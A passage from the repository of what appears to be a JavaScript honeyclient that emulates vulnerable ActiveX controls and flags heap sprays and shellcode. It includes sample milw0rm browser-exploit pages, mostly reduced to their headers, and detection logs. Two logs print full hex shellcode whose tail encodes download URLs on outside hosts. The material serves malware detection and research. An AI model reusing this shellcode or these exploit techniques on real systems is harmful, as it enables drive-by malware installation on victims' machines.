{ret.push(v);} 10 | ret; 11 | """ 12 | 13 | js_for_each_script = """ 14 | var ret = []; 15 | for each(var v in data) {ret.push(v);} 16 | ret; 17 | """ 18 | 19 | @t.glbl("data", {"foo": "bar", "baz": "bam"}) 20 | def test_iter_py_map(cx, glbl): 21 | t.eq(cx.execute(js_for_script), ["foo", "baz"]) 22 | t.eq(cx.execute(js_for_each_script), ["bar", "bam"]) 23 | 24 | @t.glbl("data", ["a", 2, "zing!"]) 25 | def test_iter_py_array(cx, glbl): 26 | t.eq(cx.execute(js_for_script), [0, 1, 2]) 27 | t.eq(cx.execute(js_for_each_script), ["a", 2, "zing!"]) 28 | 29 | @t.cx() 30 | def test_iter_js_object(cx): 31 | ret = cx.execute('var f = {"foo": 1, "domino": "daily"}; f;') 32 | items = set(["domino", "foo"]) 33 | for k in ret: 34 | t.isin(k, items) 35 | items.remove(k) 36 | 37 | @t.cx() 38 | def test_iter_js_array(cx): 39 | ret = cx.execute('["foo", 1, "bing", [3, 6]]') 40 | t.eq([k for k in ret], ["foo", 1, "bing", [3, 6]]) 41 | -------------------------------------------------------------------------------- /result/qvod.txt: -------------------------------------------------------------------------------- 1 | PYTHONPATH='lib/python:' python main.py http://172.31.25.227/honeyjs/qvod.html 2 | 3 | DEBUG: Alerts: 4 | ==================================== 5 | |--------AID:1---------- 6 | |ATYPE:ALERT_HEAPSPRAY 7 | |MESSAGE:Heapspray Detected! 8 | |HIT:8 9 | |LENGTH:4194006 10 | |ENTROPY:0.0 11 | |MISC:{'sledge_char': '\x05', 'sec_char_cnt': 0, 'sledge_cnt': 4194006, 'sec_char': '\x00'} 12 | ==================================== 13 | |--------AID:2---------- 14 | |ATYPE:ALERT_HEAPSPRAY 15 | |MESSAGE:Heapspray Detected! 16 | |HIT:1 17 | |LENGTH:4194006 18 | |ENTROPY:0.0 19 | |MISC:{'sledge_cnt': 4194006, 'sec_char_cnt': 0, 'sec_char': '\x00', 'sledge_char': '\x05'} 20 | ==================================== 21 | |--------AID:3---------- 22 | |ATYPE:ALERT_HEAPSPRAY 23 | |MESSAGE:Heapspray Detected! 24 | |HIT:1 25 | |LENGTH:4194248 26 | |ENTROPY:0.00125026921766 27 | |MISC:{'sledge_cnt': 4194006, 'sec_char_cnt': 7, 'sec_char': '\x03', 'sledge_char': '\x05'} 28 | ==================================== 29 | |--------AID:4---------- 30 | |ATYPE:ALERT_HEAPSPRAY 31 | |MESSAGE:Heapspray Detected! 32 | |HIT:20 33 | |LENGTH:4194248 34 | |ENTROPY:0.00125026921766 35 | |MISC:{'sledge_char': '\x05', 'sec_char_cnt': 7, 'sledge_cnt': 4194006, 'sec_char': '\x03'} 36 | -------------------------------------------------------------------------------- /samples/4875.html: -------------------------------------------------------------------------------- 1 |
 2 | -----------------------------------------------------------------------------
 3 |  Microsoft VFP_OLE_Server Remote Command Execution
 4 |  url: http://www.microsoft.com
 5 | 
 6 |  Author: shinnai
 7 |  mail: shinnai[at]autistici[dot]org
 8 |  site: http://shinnai.altervista.org
 9 | 
10 |  This was written for educational purpose. Use it at your own risk.
11 |  Author will be not responsible for any damage.
12 | 
13 |  Not much more to say than using "foxcommand()" function, you can
14 |  run applications passed as argument.
15 | 
16 |  Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
17 | -----------------------------------------------------------------------------
18 | 
19 | 
20 | 
21 | 
22 | 
27 | 
28 | 
29 | 
30 | 31 | # milw0rm.com [2008-01-09] 32 | 33 | 34 | -------------------------------------------------------------------------------- /samples/5188.html: -------------------------------------------------------------------------------- 1 | 10 | 11 | Rising Online Scanner Insecure Method Vulnerability 12 | 13 | 17 | 25 |

26 | wait for a few seconds after clicking the button 27 | 28 | 29 | # milw0rm.com [2008-02-25] 30 | 31 | 32 | -------------------------------------------------------------------------------- /modules/honeyjs/tests/test-to-python.py: -------------------------------------------------------------------------------- 1 | # Copyright 2009 Paul J. Davis 2 | # 3 | # This file is part of the python-spidermonkey package released 4 | # under the MIT license. 5 | import t 6 | 7 | @t.cx() 8 | def test_to_py_int(cx): 9 | t.eq(cx.execute("42;"), 42) 10 | 11 | @t.cx() 12 | def test_to_py_float(cx): 13 | t.eq(cx.execute("42.5;"), 42.5) 14 | 15 | @t.cx() 16 | def test_to_py_str(cx): 17 | t.eq(cx.execute('"spam";'), "spam") 18 | t.eq(isinstance(cx.execute('"spam";'), unicode), True) 19 | 20 | @t.cx() 21 | def test_to_py_unicode(cx): 22 | t.eq(cx.execute(u"\"\u0042\";"), u"\u0042") 23 | 24 | @t.cx() 25 | def test_undefined_to_py_None(cx): 26 | t.eq(cx.execute("undefined;"), None) 27 | 28 | @t.cx() 29 | def test_null_to_py_None(cx): 30 | t.eq(cx.execute("null;"), None) 31 | 32 | @t.cx() 33 | def test_true_to_py_True(cx): 34 | t.eq(cx.execute("true;"), True) 35 | 36 | @t.cx() 37 | def test_to_py_False(cx): 38 | t.eq(cx.execute("false;"), False) 39 | 40 | @t.cx() 41 | def test_NaN_to_py_nan(cx): 42 | nan = cx.execute("NaN;") 43 | t.eq(type(nan), float) 44 | t.ne(nan, nan) 45 | 46 | @t.cx() 47 | def test_Infinity_to_py_inf(cx): 48 | t.eq(cx.execute("Infinity;"), 1E500*1E500) 49 | -------------------------------------------------------------------------------- /ActiveX/modules/StromMps: -------------------------------------------------------------------------------- 1 | # MPS.StormPlayer.1 'advanceOpen' 2 | # CVE 3 | 4 | def advancedOpen(arg0, arg1): 5 | if len(arg0) > 259: 6 | add_alert('MPS.StormPlayer.1 ActiveX advanceOpen Method Overflow') 7 | 8 | def isDVDPath(arg0): 9 | if len(arg0)>246: 10 | add_alert('MPS.StormPlayer.1 ActiveX isDVDPath Method Overflow') 11 | 12 | def rawParse(arg0): 13 | if len(arg0)>259: 14 | add_alert('MPS.StormPlayer.1 ActiveX rawParse Method Overflow') 15 | 16 | def OnBeforeVideoDownload(arg0): 17 | if len(arg0)>4124: 18 | add_alert('MPS.StromPlayer.1 ActiveX OnBeforeVideoDownload Method Overflow') 19 | 20 | def SetURL(val): 21 | if len(val)>259: 22 | add_alert('MPS.StormPlayer.1 ActiveX URL Console Overflow') 23 | 24 | def SetbackImage(val): 25 | if len(val)>292: 26 | add_alert('MPS.StormPlayer.1 ActiveX backImage Console Overflow') 27 | 28 | def SettitleImage(val): 29 | if len(val)>296: 30 | add_alert('MPS.StromPlayer.1 ActiveX titleImage Console Overflow') 31 | 32 | self.advancedOpen = advancedOpen 33 | self.isDVDPath = isDVDPath 34 | self.rawParse=rawParse 35 | self.OnBeforeVideoDownload=OnBeforeVideoDownload 36 | 37 | Attr2Fun['URL'] = SetURL; 38 | Attr2Fun['backImage'] = SetbackImage; 39 | Attr2Fun['titleImage'] = SettitleImage; 40 | 41 | 42 | -------------------------------------------------------------------------------- /samples/CABrightStor.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 32 | 33 | 34 | -------------------------------------------------------------------------------- /samples/hpinfo.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | -------------------------------------------------------------------------------- /samples/5153.html: -------------------------------------------------------------------------------- 1 | <%@ LANGUAGE = JavaScript %> 2 | <% 3 | 35 | %> 36 | 37 | # milw0rm.com [2008-02-19] 38 | -------------------------------------------------------------------------------- /modules/honeyjs/tests/test-py-lookup.py: -------------------------------------------------------------------------------- 1 | # Copyright 2009 Paul J. Davis 2 | # 3 | # This file is part of the python-spidermonkey package released 4 | # under the MIT license. 5 | import t 6 | 7 | @t.cx() 8 | def test_str_property_as_item(cx): 9 | cx.add_global("zim", {"gir": "tacito!"}) 10 | t.eq(cx.execute('zim["gir"]'), "tacito!") 11 | 12 | @t.cx() 13 | def test_str_property_as_attr(cx): 14 | cx.add_global("protein", {"rna": "dna"}) 15 | t.eq(cx.execute("protein.rna;"), "dna") 16 | 17 | @t.cx() 18 | def test_unicode_key(cx): 19 | cx.add_global("unicode", {u"is": "complicated"}) 20 | t.eq(cx.execute("unicode.is;"), "complicated") 21 | 22 | @t.cx() 23 | def test_int_property(cx): 24 | cx.add_global("foo", [1, 8]) 25 | t.eq(cx.execute("foo[1];"), 8) 26 | 27 | 28 | # JavaScript property looks can only be integers and 29 | # strings. So even though foo[1.1] looks like it should 30 | # work, Spidermonkey is converting it to a string which 31 | # affects access in python land. 32 | 33 | @t.cx() 34 | def test_float_prop(cx): 35 | cx.add_global("foo", {1.1: "hidden!"}) 36 | t.eq(cx.execute("foo[1.1];"), None) 37 | 38 | @t.cx() 39 | def test_float_expected(cx): 40 | cx.add_global("whee", {"3.14": "mmmm food"}) 41 | t.eq(cx.execute("whee[3.14];"), "mmmm food") 42 | -------------------------------------------------------------------------------- /samples/BitDefender.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 20 | 21 | -------------------------------------------------------------------------------- /samples/YahooMessengerYwcvwr_server.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 30 | 31 | 32 | -------------------------------------------------------------------------------- /samples/hpinfo1.html: -------------------------------------------------------------------------------- 1 | /////////////////////////////////// 2 | //Remote code execution PoC exploit 3 | /////////////////////////////////// 4 | 5 | 6 | 7 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | -------------------------------------------------------------------------------- /modules/honeyjs/spidermonkey/context.h: -------------------------------------------------------------------------------- 1 | /* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- 2 | * 3 | * This file is originally written by Paul J. Davis, Z. Chen has modified it to 4 | * make the honeyjs package 5 | * 6 | * Copyright 2009 Paul J. Davis 7 | * 8 | * This file is part of the python-spidermonkey package released 9 | * under the MIT license. 10 | * 11 | */ 12 | 13 | #ifndef PYSM_CONTEXT_H 14 | #define PYSM_CONTEXT_H 15 | 16 | #include 17 | #include "structmember.h" 18 | 19 | #include "spidermonkey.h" 20 | 21 | typedef struct { 22 | PyObject_HEAD 23 | Runtime* rt; 24 | PyObject* global; 25 | PyObject* access; 26 | PyObject* alertlist; 27 | JSContext* cx; 28 | JSObject* root; 29 | PyDictObject* classes; 30 | PySetObject* objects; 31 | uint32 branch_count; 32 | long max_heap; 33 | time_t max_time; 34 | time_t start_time; 35 | } Context; 36 | 37 | PyObject* Context_get_class(Context* cx, const char* key); 38 | int Context_add_class(Context* cx, const char* key, PyObject* val); 39 | 40 | int Context_has_access(Context*, JSContext*, PyObject*, PyObject*); 41 | 42 | int Context_has_object(Context* cx, PyObject* val); 43 | int Context_add_object(Context* cx, PyObject* val); 44 | int Context_rem_object(Context* cx, PyObject* val); 45 | 46 | extern PyTypeObject _ContextType; 47 | 48 | #endif 49 | -------------------------------------------------------------------------------- /modules/honeyjs/spidermonkey/spidermonkey.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2009 Paul J. Davis 3 | * 4 | * This file is part of the python-spidermonkey package released 5 | * under the MIT license. 6 | * 7 | */ 8 | 9 | #ifndef SPIDERMONKEY_H 10 | #define SPIDERMONKEY_H 11 | 12 | #include 13 | #include "structmember.h" 14 | 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | 22 | #include "runtime.h" 23 | #include "context.h" 24 | 25 | #include "string.h" 26 | #include "integer.h" 27 | #include "double.h" 28 | 29 | #include "pyobject.h" 30 | #include "pyiter.h" 31 | 32 | #include "jsobject.h" 33 | #include "jsarray.h" 34 | #include "jsfunction.h" 35 | #include "jsiterator.h" 36 | 37 | #include "convert.h" 38 | #include "error.h" 39 | 40 | #include "hashcobj.h" 41 | 42 | #include "tracing.h" 43 | 44 | extern PyObject* SpidermonkeyModule; 45 | extern PyTypeObject* RuntimeType; 46 | extern PyTypeObject* ContextType; 47 | extern PyTypeObject* ClassType; 48 | extern PyTypeObject* ObjectType; 49 | extern PyTypeObject* ArrayType; 50 | extern PyTypeObject* FunctionType; 51 | extern PyTypeObject* IteratorType; 52 | extern PyTypeObject* HashCObjType; 53 | extern PyObject* JSError; 54 | 55 | extern PyTypeObject* HeapsprayAlertType; 56 | extern PyTypeObject* ShellcodeAlertType; 57 | 58 | 59 | #endif 60 | -------------------------------------------------------------------------------- /modules/honeyjs/spidermonkey/integer.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2009 Paul J. Davis 3 | * 4 | * This file is part of the python-spidermonkey package released 5 | * under the MIT license. 6 | * 7 | */ 8 | 9 | #include "spidermonkey.h" 10 | 11 | jsval 12 | py2js_integer(Context* cx, PyObject* obj) 13 | { 14 | long pyval; 15 | 16 | if(PyInt_Check(obj)) 17 | { 18 | pyval = PyInt_AsLong(obj); 19 | if(PyErr_Occurred()) return JSVAL_VOID; 20 | } 21 | else 22 | { 23 | pyval = PyLong_AsLong(obj); 24 | if(PyErr_Occurred()) return JSVAL_VOID; 25 | } 26 | 27 | return long2js_integer(cx, pyval); 28 | } 29 | 30 | jsval 31 | long2js_integer(Context* cx, long pyval) 32 | { 33 | jsval ret = JSVAL_VOID; 34 | 35 | if(INT_FITS_IN_JSVAL(pyval)) 36 | { 37 | ret = INT_TO_JSVAL(pyval); 38 | goto done; 39 | } 40 | 41 | if(!JS_NewNumberValue(cx->cx, pyval, &ret)) 42 | { 43 | PyErr_SetString(PyExc_ValueError, "Failed to convert number."); 44 | goto done; 45 | } 46 | 47 | done: 48 | return ret; 49 | } 50 | 51 | PyObject* 52 | js2py_integer(Context* cx, jsval val) 53 | { 54 | int32 rval; 55 | 56 | if(!JS_ValueToInt32(cx->cx, val, &rval)) 57 | { 58 | PyErr_SetString(PyExc_TypeError, "Invalid JS integer value."); 59 | return NULL; 60 | } 61 | 62 | return PyInt_FromLong(rval); 63 | } 64 | -------------------------------------------------------------------------------- /samples/4043.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 30 | 31 | 32 | # milw0rm.com [2007-06-07] 33 | -------------------------------------------------------------------------------- /ActiveX/modules/NessusScanCtrl: -------------------------------------------------------------------------------- 1 | # Nessus Vunlnerability Scanner ScanCtrl ActiveX COntrol 2 | # CVE-2007-4061, CVE-2007-4062, CVE-2007-4031 3 | 4 | def deleteReport(arg): 5 | if arg.find('SYSTEM32')!=-1: 6 | add_alert('ScanCtrl.'+' -- possible SYSTEM32 activity') 7 | if arg.find('Autostart')!=-1: 8 | add_alert('ScanCtrl.'+' -- Autostart activity') 9 | if arg.find('../')!=-1: 10 | add_alert('ScanCtrl.'+' -- ../ activity') 11 | 12 | def deleteNessusRC(arg): 13 | if arg.find('SYSTEM32')!=-1: 14 | add_alert('ScanCtrl.'+' -- possible SYSTEM32 activity') 15 | if arg.find('Autostart')!=-1: 16 | add_alert('ScanCtrl.'+' -- Autostart activity') 17 | if arg.find('../')!=-1: 18 | add_alert('ScanCtrl.'+' -- ../ activity') 19 | 20 | def saveNessusRC(arg): 21 | if arg.find('SYSTEM32')!=-1: 22 | add_alert('ScanCtrl.'+' -- possible SYSTEM32 activity') 23 | if arg.find('Autostart')!=-1: 24 | add_alert('ScanCtrl.'+' -- Autostart activity') 25 | if arg.find('../')!=-1: 26 | add_alert('ScanCtrl.'+' -- ../ activity') 27 | 28 | def addsetConfig(arg,arg1,arg2): 29 | if arg.find('SYSTEM32')!=-1: 30 | add_alert('ScanCtrl.'+' -- possible SYSTEM32 activity') 31 | if arg.find('Autostart')!=-1: 32 | add_alert('ScanCtrl.'+' -- Autostart activity') 33 | if arg.find('../')!=-1: 34 | add_alert('ScanCtrl.'+' -- ../ activity') 35 | 36 | self.deleteReport=deleteReport 37 | self.deleteNessusRC=deleteNessusRC 38 | self.saveNessusRC=saveNessusRC 39 | self.addsetConfig=addsetConfig 40 | -------------------------------------------------------------------------------- /samples/4594.html: -------------------------------------------------------------------------------- 1 | 18 | 19 | 20 | 21 | 22 | 43 | 44 | # milw0rm.com [2007-11-01] 45 | -------------------------------------------------------------------------------- /samples/StormConfig.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 30 | 31 | 32 | 33 | -------------------------------------------------------------------------------- /samples/DirectShow.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 25 | 26 | -------------------------------------------------------------------------------- /samples/4663.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 57 | 58 | 59 | # milw0rm.com [2007-11-27] 60 | -------------------------------------------------------------------------------- /modules/honeyjs/spidermonkey/Darwin-i386/jsautocfg.h: -------------------------------------------------------------------------------- 1 | #ifndef js_cpucfg___ 2 | #define js_cpucfg___ 3 | 4 | /* AUTOMATICALLY GENERATED - DO NOT EDIT */ 5 | 6 | #define IS_LITTLE_ENDIAN 1 7 | #undef IS_BIG_ENDIAN 8 | 9 | #define JS_BYTES_PER_BYTE 1L 10 | #define JS_BYTES_PER_SHORT 2L 11 | #define JS_BYTES_PER_INT 4L 12 | #define JS_BYTES_PER_INT64 8L 13 | #define JS_BYTES_PER_LONG 4L 14 | #define JS_BYTES_PER_FLOAT 4L 15 | #define JS_BYTES_PER_DOUBLE 8L 16 | #define JS_BYTES_PER_WORD 4L 17 | #define JS_BYTES_PER_DWORD 8L 18 | 19 | #define JS_BITS_PER_BYTE 8L 20 | #define JS_BITS_PER_SHORT 16L 21 | #define JS_BITS_PER_INT 32L 22 | #define JS_BITS_PER_INT64 64L 23 | #define JS_BITS_PER_LONG 32L 24 | #define JS_BITS_PER_FLOAT 32L 25 | #define JS_BITS_PER_DOUBLE 64L 26 | #define JS_BITS_PER_WORD 32L 27 | 28 | #define JS_BITS_PER_BYTE_LOG2 3L 29 | #define JS_BITS_PER_SHORT_LOG2 4L 30 | #define JS_BITS_PER_INT_LOG2 5L 31 | #define JS_BITS_PER_INT64_LOG2 6L 32 | #define JS_BITS_PER_LONG_LOG2 5L 33 | #define JS_BITS_PER_FLOAT_LOG2 5L 34 | #define JS_BITS_PER_DOUBLE_LOG2 6L 35 | #define JS_BITS_PER_WORD_LOG2 5L 36 | 37 | #define JS_ALIGN_OF_SHORT 2L 38 | #define JS_ALIGN_OF_INT 4L 39 | #define JS_ALIGN_OF_LONG 4L 40 | #define JS_ALIGN_OF_INT64 4L 41 | #define JS_ALIGN_OF_FLOAT 4L 42 | #define JS_ALIGN_OF_DOUBLE 4L 43 | #define JS_ALIGN_OF_POINTER 4L 44 | #define JS_ALIGN_OF_WORD 4L 45 | 46 | #define JS_BYTES_PER_WORD_LOG2 2L 47 | #define JS_BYTES_PER_DWORD_LOG2 3L 48 | #define JS_WORDS_PER_DWORD_LOG2 1L 49 | 50 | #define JS_STACK_GROWTH_DIRECTION (-1) 51 | 52 | #endif /* js_cpucfg___ */ 53 | -------------------------------------------------------------------------------- /modules/honeyjs/spidermonkey/Linux-i686/jsautocfg.h: -------------------------------------------------------------------------------- 1 | #ifndef js_cpucfg___ 2 | #define js_cpucfg___ 3 | 4 | /* AUTOMATICALLY GENERATED - DO NOT EDIT */ 5 | 6 | #define IS_LITTLE_ENDIAN 1 7 | #undef IS_BIG_ENDIAN 8 | 9 | #define JS_BYTES_PER_BYTE 1L 10 | #define JS_BYTES_PER_SHORT 2L 11 | #define JS_BYTES_PER_INT 4L 12 | #define JS_BYTES_PER_INT64 8L 13 | #define JS_BYTES_PER_LONG 4L 14 | #define JS_BYTES_PER_FLOAT 4L 15 | #define JS_BYTES_PER_DOUBLE 8L 16 | #define JS_BYTES_PER_WORD 4L 17 | #define JS_BYTES_PER_DWORD 8L 18 | 19 | #define JS_BITS_PER_BYTE 8L 20 | #define JS_BITS_PER_SHORT 16L 21 | #define JS_BITS_PER_INT 32L 22 | #define JS_BITS_PER_INT64 64L 23 | #define JS_BITS_PER_LONG 32L 24 | #define JS_BITS_PER_FLOAT 32L 25 | #define JS_BITS_PER_DOUBLE 64L 26 | #define JS_BITS_PER_WORD 32L 27 | 28 | #define JS_BITS_PER_BYTE_LOG2 3L 29 | #define JS_BITS_PER_SHORT_LOG2 4L 30 | #define JS_BITS_PER_INT_LOG2 5L 31 | #define JS_BITS_PER_INT64_LOG2 6L 32 | #define JS_BITS_PER_LONG_LOG2 5L 33 | #define JS_BITS_PER_FLOAT_LOG2 5L 34 | #define JS_BITS_PER_DOUBLE_LOG2 6L 35 | #define JS_BITS_PER_WORD_LOG2 5L 36 | 37 | #define JS_ALIGN_OF_SHORT 2L 38 | #define JS_ALIGN_OF_INT 4L 39 | #define JS_ALIGN_OF_LONG 4L 40 | #define JS_ALIGN_OF_INT64 4L 41 | #define JS_ALIGN_OF_FLOAT 4L 42 | #define JS_ALIGN_OF_DOUBLE 4L 43 | #define JS_ALIGN_OF_POINTER 4L 44 | #define JS_ALIGN_OF_WORD 4L 45 | 46 | #define JS_BYTES_PER_WORD_LOG2 2L 47 | #define JS_BYTES_PER_DWORD_LOG2 3L 48 | #define JS_WORDS_PER_DWORD_LOG2 1L 49 | 50 | #define JS_STACK_GROWTH_DIRECTION (-1) 51 | 52 | #endif /* js_cpucfg___ */ 53 | -------------------------------------------------------------------------------- /modules/honeyjs/spidermonkey/Linux-x86_64/jsautocfg.h: -------------------------------------------------------------------------------- 1 | #ifndef js_cpucfg___ 2 | #define js_cpucfg___ 3 | 4 | /* AUTOMATICALLY GENERATED - DO NOT EDIT */ 5 | 6 | #define IS_LITTLE_ENDIAN 1 7 | #undef IS_BIG_ENDIAN 8 | 9 | #define JS_BYTES_PER_BYTE 1L 10 | #define JS_BYTES_PER_SHORT 2L 11 | #define JS_BYTES_PER_INT 4L 12 | #define JS_BYTES_PER_INT64 8L 13 | #define JS_BYTES_PER_LONG 8L 14 | #define JS_BYTES_PER_FLOAT 4L 15 | #define JS_BYTES_PER_DOUBLE 8L 16 | #define JS_BYTES_PER_WORD 8L 17 | #define JS_BYTES_PER_DWORD 8L 18 | 19 | #define JS_BITS_PER_BYTE 8L 20 | #define JS_BITS_PER_SHORT 16L 21 | #define JS_BITS_PER_INT 32L 22 | #define JS_BITS_PER_INT64 64L 23 | #define JS_BITS_PER_LONG 64L 24 | #define JS_BITS_PER_FLOAT 32L 25 | #define JS_BITS_PER_DOUBLE 64L 26 | #define JS_BITS_PER_WORD 64L 27 | 28 | #define JS_BITS_PER_BYTE_LOG2 3L 29 | #define JS_BITS_PER_SHORT_LOG2 4L 30 | #define JS_BITS_PER_INT_LOG2 5L 31 | #define JS_BITS_PER_INT64_LOG2 6L 32 | #define JS_BITS_PER_LONG_LOG2 6L 33 | #define JS_BITS_PER_FLOAT_LOG2 5L 34 | #define JS_BITS_PER_DOUBLE_LOG2 6L 35 | #define JS_BITS_PER_WORD_LOG2 6L 36 | 37 | #define JS_ALIGN_OF_SHORT 2L 38 | #define JS_ALIGN_OF_INT 4L 39 | #define JS_ALIGN_OF_LONG 8L 40 | #define JS_ALIGN_OF_INT64 8L 41 | #define JS_ALIGN_OF_FLOAT 4L 42 | #define JS_ALIGN_OF_DOUBLE 8L 43 | #define JS_ALIGN_OF_POINTER 8L 44 | #define JS_ALIGN_OF_WORD 8L 45 | 46 | #define JS_BYTES_PER_WORD_LOG2 3L 47 | #define JS_BYTES_PER_DWORD_LOG2 3L 48 | #define JS_WORDS_PER_DWORD_LOG2 0L 49 | 50 | #define JS_STACK_GROWTH_DIRECTION (-1) 51 | 52 | #endif /* js_cpucfg___ */ 53 | -------------------------------------------------------------------------------- /samples/4226.html: -------------------------------------------------------------------------------- 1 |
 2 | -------------------------------------------------------------------------------------------------
 3 |  Clever Internet ActiveX Suite 6.2 (CLINETSUITEX6.OCX) Arbitrary file download/overwrite Exploit
 4 |  url: http://www.clevercomponents.com/home/news.asp
 5 | 
 6 |  author: shinnai
 7 |  mail: shinnai[at]autistici[dot]org
 8 |  site: http://shinnai.altervista.org
 9 |  
10 |  Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
11 |  all software that use this ocx are vulnerable to this exploits.
12 | 
13 |  This control is marked as
14 |  RegKey Safe for Script: True
15 |  RegKey Safe for Init: True
16 |  Implements IObjectSafety: True
17 |  IDisp Safe:  Safe for untrusted: caller, data
18 |  IPStorage Safe:  Safe for untrusted: caller,data
19 | 
20 |  Using the "GetToFile" method, you can download everything you want on a pc. This
21 |  exploit just download a txt file on pc, I try to overwrite cmd.exe and it works.
22 | -------------------------------------------------------------------------------------------------
23 | 
24 | 
25 | 
26 | 
27 | 
28 | 
36 | 
37 | 
38 | 
39 | 40 | # milw0rm.com [2007-07-25] 41 | -------------------------------------------------------------------------------- /samples/5045.html: -------------------------------------------------------------------------------- 1 | 7 | 8 | 9 | 10 | 11 | 12 | 35 | 36 | 37 | # milw0rm.com [2008-02-03] 38 | -------------------------------------------------------------------------------- /samples/5043.html: -------------------------------------------------------------------------------- 1 | N/A 24 | 25 | Just for fun ;] 26 | --> 27 | 28 | 29 | 30 | 46 | 47 | # milw0rm.com [2008-02-02] 48 | 49 | 50 | -------------------------------------------------------------------------------- /result/2mix.txt: -------------------------------------------------------------------------------- 1 | PYTHONPATH='lib/python:' python main.py http://172.31.25.227/honeyjs/2mix.html 2 | 3 | DEBUG: Alerts: 4 | ==================================== 5 | |--------AID:1---------- 6 | |ATYPE:ALERT_SHELLCODE 7 | |MESSAGE:Shellcode Detected! 8 | |MISC:{} 9 | |SHELLCODE: 10 | 43434343eb0f5b33c966b980018033ef43e2faeb05e8ecffffff7f8b4edfefefef64afe3649ff342649fe76e03efebefef6403b98761a1e1030711efefef66aaebb987771165e1071fefefef66aae7b987ca5f102d070defefef66aae3b98700210f8f073befefef66aaffb9872e960a570729efefef66aafbaf6fd72c9a1566aaf706e8eeefefb1669acb64aaeb85eeb664baf7b90764efefefbf87d9f5c09f0778efefef66aaf3642a6c2fbf66aacf8710efefefbf64aafb85edb664baf7078eefefefecaacf28efb391c18a28afeb978aefef109acf64aae385eeb664baf707afefefef85e8b7ecaacbdc34bcbc109acfbfbc64aaf385eab664baf707ccefefef85ef109acf64aae785edb664baf707ffefefef851064aaff85eeb664baf707efefefefaeb4bdec0eec0eec0eec0e6c03ebb5bc64350d18bd100fba64036492e764b2e3b9649cd3649bf197ec1cb96499cfec1cdc26a6ae42ec2cb9dc19e051ffd51d9be72e21e2ec1daf041ed411b19a0ab5640464b5cbec328964e3a464b5f3ec3264eb64ec2ab1b22de7ef071b111010babda3a2a0a1ef687474703a2f2f70616b73757369632e636e2f6e75632f6578652e706870 11 | |Now run it: 12 | PROFILE: 13 | [] 14 | ==================================== 15 | |--------AID:2---------- 16 | |ATYPE:ALERT_HEAPSPRAY 17 | |MESSAGE:Heapspray Detected! 18 | |HIT:6 19 | |LENGTH:2097152 20 | |ENTROPY:0.0 21 | |MISC:{'sledge_char': '\n', 'sec_char_cnt': 0, 'sledge_cnt': 2097152, 'sec_char': '\x00'} 22 | ==================================== 23 | |--------AID:3---------- 24 | |ATYPE:ALERT_HEAPSPRAY 25 | |MESSAGE:Heapspray Detected! 26 | |HIT:100 27 | |LENGTH:2097592 28 | |ENTROPY:0.00412993356942 29 | |MISC:{'sledge_char': '\n', 'sec_char_cnt': 13, 'sledge_cnt': 2097154, 'sec_char': '\x07'} 30 | -------------------------------------------------------------------------------- /result/ssreader.txt: -------------------------------------------------------------------------------- 1 | PYTHONPATH='lib/python:' python main.py http://172.31.25.227/honeyjs/ssreader.html 2 | 3 | DEBUG: Alerts: 4 | ==================================== 5 | |--------AID:1---------- 6 | |ATYPE:ALERT_SHELLCODE 7 | |MESSAGE:Shellcode Detected! 8 | |MISC:{} 9 | |SHELLCODE: 10 | 90909090eb0f5b33c966b980018033ef43e2faeb05e8ecffffff7f8b4edfefefef64afe3649ff342649fe76e03efebefef6403b98761a1e1030711efefef66aaebb987771165e1071fefefef66aae7b987ca5f102d070defefef66aae3b98700210f8f073befefef66aaffb9872e960a570729efefef66aafbaf6fd72c9a1566aaf706e8eeefefb1669acb64aaeb85eeb664baf7b90764efefefbf87d9f5c09f0778efefef66aaf3642a6c2fbf66aacf8710efefefbf64aafb85edb664baf7078eefefefecaacf28efb391c18a28afeb978aefef109acf64aae385eeb664baf707afefefef85e8b7ecaacbdc34bcbc109acfbfbc64aaf385eab664baf707ccefefef85ef109acf64aae785edb664baf707ffefefef851064aaff85eeb664baf707efefefefaeb4bdec0eec0eec0eec0e6c03ebb5bc64350d18bd100fba64036492e764b2e3b9649cd3649bf197ec1cb96499cfec1cdc26a6ae42ec2cb9dc19e051ffd51d9be72e21e2ec1daf041ed411b19a0ab5640464b5cbec328964e3a464b5f3ec3264eb64ec2ab1b22de7ef071b111010babda3a2a0a1ef687474703a2f2f6c2e6275677875652e636f6d2f717765722f63782e63737300 11 | |Now run it: 12 | PROFILE: 13 | [] 14 | ==================================== 15 | |--------AID:2---------- 16 | |ATYPE:ALERT_HEAPSPRAY 17 | |MESSAGE:Heapspray Detected! 18 | |HIT:3 19 | |LENGTH:523806 20 | |ENTROPY:0.0 21 | |MISC:{'sledge_char': '\x90', 'sec_char_cnt': 0, 'sledge_cnt': 523806, 'sec_char': '\x00'} 22 | ==================================== 23 | |--------AID:3---------- 24 | |ATYPE:ALERT_HEAPSPRAY 25 | |MESSAGE:Heapspray Detected! 26 | |HIT:300 27 | |LENGTH:524248 28 | |ENTROPY:0.0148742234328 29 | |MISC:{'sledge_char': '\x90', 'sec_char_cnt': 31, 'sledge_cnt': 523810, 'sec_char': 'd'} 30 | -------------------------------------------------------------------------------- /samples/ZenturiProgramCheckerAttack.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 33 | 34 | -------------------------------------------------------------------------------- /samples/hpupdate2.html: -------------------------------------------------------------------------------- 1 | //////////////////////////////// 2 | 3 | //Remote Kernel Wreckage Exploit 4 | 5 | //////////////////////////////// 6 | 7 | // 8 | 9 | // 10 | 11 | // WARNING! THE REAL THING... 12 | 13 | // DON'T TRY THIS AT HOME! 14 | 15 | // THIS WILL DAMAGE YOUR 16 | 17 